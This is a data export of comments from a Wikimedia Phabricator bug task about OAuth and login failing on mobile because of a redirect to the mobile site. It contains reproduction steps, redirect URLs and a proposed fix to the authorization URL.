",,,1654001293,,PHID-USER-hms7bpiczbwhx4dxgiqw,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,360,True,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,24.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,18.0,12.0,6.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.411764705882353,0.8823529411764706,"I //think// I fixed the URL for CODE, someone please try it in the wild
"
1925344,Failure to OAuth after login on mobile,"I am seeing the error for `centralauth-error-nologinattempt` on mobile after inputting my two factor auth code. {F35190897} This is happening in the embedded browser in the Wikipedia app on iOS. Anecdotally, I think others have encountered this issue lately as well (cc @KStoller-WMF who I believe experienced this last week).",,,1653940444,,PHID-USER-jzbjfcs2csloltie4voe,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,360,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,3.0,15.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,10.0,10.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,4.220338983050848,0.847457627118644,"I am seeing the error for CODE on mobile after inputting my two factor auth code. {F35190897} This is happening in the embedded browser in the Wikipedia app on iOS. Anecdotally, I think others have encountered this issue lately as well (ccSCREEN_NAME-WMF who I believe experienced this last week)."
901396,Failure to OAuth after login on mobile,"This stiill appears to be an issue. I'm unable to login to Phabricator on mobile, seeing the same error as in the original post.",,,1501069805,,PHID-USER-ksxcfwf6vvnfvopbps4h,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,107,True,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,11.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,21.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.75,0.8571428571428571,"This stiill appears to be an issue. I'm unable to login to Phabricator on mobile, seeing the same error as in the original post."
736976,Failure to OAuth after login on mobile,"Just collecting some tasks here related to broken login behavior.

* {T53789}
* {T56123}
* {T64244}
* {T64484}
* {T65821}
* {T95221}
* {T125139}
* {T140127}
* {T140853}
* {T145545}
* {T145771}
* {T146122}",,,1475202059,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,65,True,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5774647887323945,0.39436619718309857,"Just collecting some tasks here related to broken login behavior.

* {T53789}
* {T56123}
* {T64244}
* {T64484}
* {T65821}
* {T95221}
* {T125139}
* {T140127}
* {T140853}
* {T145545}
* {T145771}
* {T146122}"
728112,Failure to OAuth after login on mobile,">>! In T112730#2631177, @Tgr wrote:
> Yes, if you experience the same error without any OAuth tool being involved, a separate task would helpful. Might or might not be the same underlying issue, but at a minimum a login will be a lot easier to reproduce and debug than a full authorization flow.

There's now {T145545} as well.",,,1473808487,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9230769230769231,"QUOTE
QUOTE

There's now {T145545} as well."
727336,Failure to OAuth after login on mobile,"Yes, if you experience the same error without any OAuth tool being involved, a separate task would helpful. Might or might not be the same underlying issue, but at a minimum a login will be a lot easier to reproduce and debug than a full authorization flow.",,,1473720659,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,62,True,2.0,0.0,0.0,2.0,2.0,12.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,6.0,6.0,2.0,6.0,15.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,10.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,4.0576923076923075,0.8076923076923077,"Yes, if you experience the same error without any OAuth tool being involved, a separate task would helpful. Might or might not be the same underlying issue, but at a minimum a login will be a lot easier to reproduce and debug than a full authorization flow."
727321,Failure to OAuth after login on mobile,">>! In T112730#2627509, @Tgr wrote:
> It seems pretty rare.

What does this mean? Do we log this error anywhere? How many times are we raising this error per day?

As far as I know, my English Wikipedia user account and Phabricator are completely distinct. Perhaps the issue I'm hitting is separate from this issue (T112730), T95221, and T119343. If so, I can file a new task if you would prefer that.

> And it has an obvious workaround (login first, then authorize).

I experienced this issue when logging in to a MediaWiki wiki. What specifically do you think I should authorize in order to log in to the wiki with a regular user account?",,,1473718987,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,62,True,0.5,0.0,0.5,0.0,0.0,3.0,1.0,0.0,0.0,1.5,3.5,0.5,0.0,0.0,0.0,5.0,0.0,5.5,9.5,0.0,1.0,1.0,0.0,0.0,1.0,0.5,0.0,0.5,1.0,1.0,0.0,4.5,2.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,12.5,1.5,2.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.5,0.0,1.0,0.0,4.0,1.5,14.5,3.0,1.5,7.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,7.0,9.5,4.0,2.5,0.0,0.0,7.0,0.0,2.5,2.5,0.0,2.0,0.0,0.0,0.0,3.776446522501461,0.7689947399181765,"QUOTE
QUOTE

What does this mean? Do we log this error anywhere? How many times are we raising this error per day?

As far as I know, my English Wikipedia user account and Phabricator are completely distinct. Perhaps the issue I'm hitting is separate from this issue (T112730), T95221, and T119343. If so, I can file a new task if you would prefer that.

QUOTE

I experienced this issue when logging in to a MediaWiki wiki. What specifically do you think I should authorize in order to log in to the wiki with a regular user account?"
726577,Failure to OAuth after login on mobile,"It seems pretty rare. You need to be 1) on mobile 2) logged out on Phabricator or whatever else you are using 3) sent for tool authorization to a wiki where you are not logged in 4) the tool must be using the non-canonical form of the URL; and even then it does not happen deterministically. And it has an obvious workaround (login first, then authorize).",,,1473661054,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,1.0,3.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,6.0,5.0,6.0,1.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,8.0,10.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.670886075949367,0.759493670886076,"It seems pretty rare. You need to be 1) on mobile 2) logged out on Phabricator or whatever else you are using 3) sent for tool authorization to a wiki where you are not logged in 4) the tool must be using the non-canonical form of the URL; and even then it does not happen deterministically. And it has an obvious workaround (login first, then authorize)."
726568,Failure to OAuth after login on mobile,">>! In T112730#2529340, @Tgr wrote:
> {T95221} and {T119343} seem like duplicates of this.

Who is investigating this issue? It seems pretty bad. I hit this error when trying to log in to the English Wikipedia on my phone the other day.",,,1473656011,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,20.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,11.0,6.0,3.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,3.7142857142857144,0.8571428571428571,"QUOTE
QUOTE

Who is investigating this issue? It seems pretty bad. I hit this error when trying to log in to the English Wikipedia on my phone the other day."
707097,Failure to OAuth after login on mobile,{T95221} and {T119343} seem like duplicates of this.,,,1470432120,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,57,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,0.8461538461538461,{T95221} and {T119343} seem like duplicates of this.
558126,Failure to OAuth after login on mobile,"The exception is due to the mobile redirect-- you gave your username and password to www.mediawiki.org, but you're trying to complete the login on m.mediawiki.org. If the wikidata-game updates its authorization redirect from,

https://www.mediawiki.org/w/index.php?title=Special:OAuth/authorize&oauth_token=...

to

https://www.mediawiki.org/wiki/Special:OAuth/authorize?oauth_token=...

then it should Just Work.",,,1446660827,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,12.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,10.0,13.0,4.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.423076923076923,0.7692307692307693,"The exception is due to the mobile redirect-- you gave your username and password to www.mediawiki.org, but you're trying to complete the login on m.mediawiki.org. If the wikidata-game updates its authorization redirect from,

URL

to

URL

then it should Just Work."
558084,Failure to OAuth after login on mobile,The mobile login form is no different from desktop login form so I expect there is some code that is not being loaded e.g. doesn't have appropriate target set.,,,1446657587,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,17,True,3.0,0.0,0.0,3.0,6.0,13.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,0.0,3.0,13.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.225806451612903,0.8709677419354839,The mobile login form is no different from desktop login form so I expect there is some code that is not being loaded e.g. doesn't have appropriate target set.
529010,Failure to OAuth after login on mobile,"I've confirmed this on my Android phone. As a logged-out mediawiki.org user (copy of Josve05a's steps):
#  Go to https://tools.wmflabs.org/wikidata-game/
#  click the link ""log in here""
# Log in. (You should see the desktop view of the log in screen; i.e. do not change to m.mediawiki manually)
# You are now redirected to the mobile site (screenshot above)
{F2611055}

",,,1442443646,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,2.0,0.0,6.0,13.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,12.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,5.0,13.0,4.0,0.0,2.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.2823529411764705,0.7294117647058823,"I've confirmed this on my Android phone. As a logged-out mediawiki.org user (copy of Josve05a's steps):
#  Go to URL
#  click the link ""log in here""
# Log in. (You should see the desktop view of the log in screen; i.e. do not change to m.mediawiki manually)
# You are now redirected to the mobile site (screenshot above)
{F2611055}

"
528977,Failure to OAuth after login on mobile,"In step 2 I'm redirected to https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=Special:OAuth/authorize&returntoquery=oauth_token%3De94cd7cc12a91889d00f124f49237fed%26oauth_consumer_key%3Dd5aa23a6b7a6d61e21ba1bb725c212fe
{F2610989}
I press log in on that screen, and I'm redirected to https://m.mediawiki.org/wiki/Special:CentralLogin/complete?token=0272357381eda2e9c47a65b7d7831e27
{F2610991}",,,1442441542,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,10.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,10.0,16.0,6.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.6774193548387096,"In step 2 I'm redirected to URL
{F2610989}
I press log in on that screen, and I'm redirected to URL
{F2610991}"
528976,Failure to OAuth after login on mobile,"In step 2 I'm redirected to https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=Special:OAuth/authorize&returntoquery=oauth_token%3De94cd7cc12a91889d00f124f49237fed%26oauth_consumer_key%3Dd5aa23a6b7a6d61e21ba1bb725c212fe
{F2610989}
I press log in using that screen, and I'm redirected to https://m.mediawiki.org/wiki/Special:CentralLogin/complete?token=0272357381eda2e9c47a65b7d7831e27
{F2610991}",,,1442441530,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,10.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,10.0,13.0,6.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.096774193548387,0.6774193548387096,"In step 2 I'm redirected to URL
{F2610989}
I press log in using that screen, and I'm redirected to URL
{F2610991}"
528975,Failure to OAuth after login on mobile,"In step 2 I'm redirected to https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=Special:OAuth/authorize&returntoquery=oauth_token%3De94cd7cc12a91889d00f124f49237fed%26oauth_consumer_key%3Dd5aa23a6b7a6d61e21ba1bb725c212fe
{F2610989}
I log in using that screen, and I'm redirected to https://m.mediawiki.org/wiki/Special:CentralLogin/complete?token=0272357381eda2e9c47a65b7d7831e27
{F2610991}",,,1442441512,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,10.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,10.0,13.0,7.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.033333333333333,0.6666666666666666,"In step 2 I'm redirected to URL
{F2610989}
I log in using that screen, and I'm redirected to URL
{F2610991}"
528968,Failure to OAuth after login on mobile,"iPad mini (iOS), Safari. Let me get utl:s and screenshots",,,1442441291,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,1.0,"iPad mini (iOS), Safari. Let me get utl:s and screenshots"
528956,Failure to OAuth after login on mobile,"Still can't reproduce, your steps work fine for me (in desktop Chrome in private mode). What device and browser are you using? What is the full URL for that error message?",,,1442440507,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,13.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,11.0,3.0,5.0,0.0,0.0,8.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,3.710526315789474,0.8947368421052632,"Still can't reproduce, your steps work fine for me (in desktop Chrome in private mode). What device and browser are you using? What is the full URL for that error message?"
528949,Failure to OAuth after login on mobile,"No, if I click the ""log in here""in the second step, affter having done all 4 steps once already in this session, I'm taken to the desktop ""Allow-dialog"" directly. So it's the redirecting from the login screen on ""desktop-view"" to the dialog in ""mobile view"" which is broken somehow. However, if I start a new session (restart the browser, or enter private mode, or log out from wiki) I can reproducae all the steps once again.",,,1442440128,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,2.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,1.0,0.0,0.0,0.0,4.0,1.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,8.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,5.0,11.0,1.0,0.0,7.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.51,0.62,"No, if I click the ""log in here""in the second step, affter having done all 4 steps once already in this session, I'm taken to the desktop ""Allow-dialog"" directly. So it's the redirecting from the login screen on ""desktop-view"" to the dialog in ""mobile view"" which is broken somehow. However, if I start a new session (restart the browser, or enter private mode, or log out from wiki) I can reproducae all the steps once again."
528942,Failure to OAuth after login on mobile,"No, if I click the ""log in here""in the second step, affter having done all 4 steps once already in this session, I'm taken to the desktop ""Allow-dialog"" directly. So it's the redirecting from the login screen to the dialogwhich is broken somehow. However, if I start a new session (restart the browser, or enter private mode, or logsout from wiki, I can reproducae all the steps once again.",,,1442439876,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,2.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,2.0,3.0,1.0,0.0,0.0,0.0,5.0,1.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,9.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,6.0,9.0,1.0,0.0,3.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.7011494252873565,0.6666666666666666,"No, if I click the ""log in here""in the second step, affter having done all 4 steps once already in this session, I'm taken to the desktop ""Allow-dialog"" directly. So it's the redirecting from the login screen to the dialogwhich is broken somehow. However, if I start a new session (restart the browser, or enter private mode, or logsout from wiki, I can reproducae all the steps once again."
528938,Failure to OAuth after login on mobile,Do you get the same result if you repeat the steps? Also if you repeat them in private browsing mode?,,,1442439629,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,18.0,14.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,3.727272727272727,0.7272727272727273,Do you get the same result if you repeat the steps? Also if you repeat them in private browsing mode?
528944,Failure to OAuth after login on mobile,"How I did:
# Go to https://tools.wmflabs.org/wikidata-game/
# click the link ""log in here""
# Log in. (You should see the desktop view of the log in screen; i.e. do not change to m.mediawiki manually)
# You are now redirected to the mobile site (screenshot above)

----

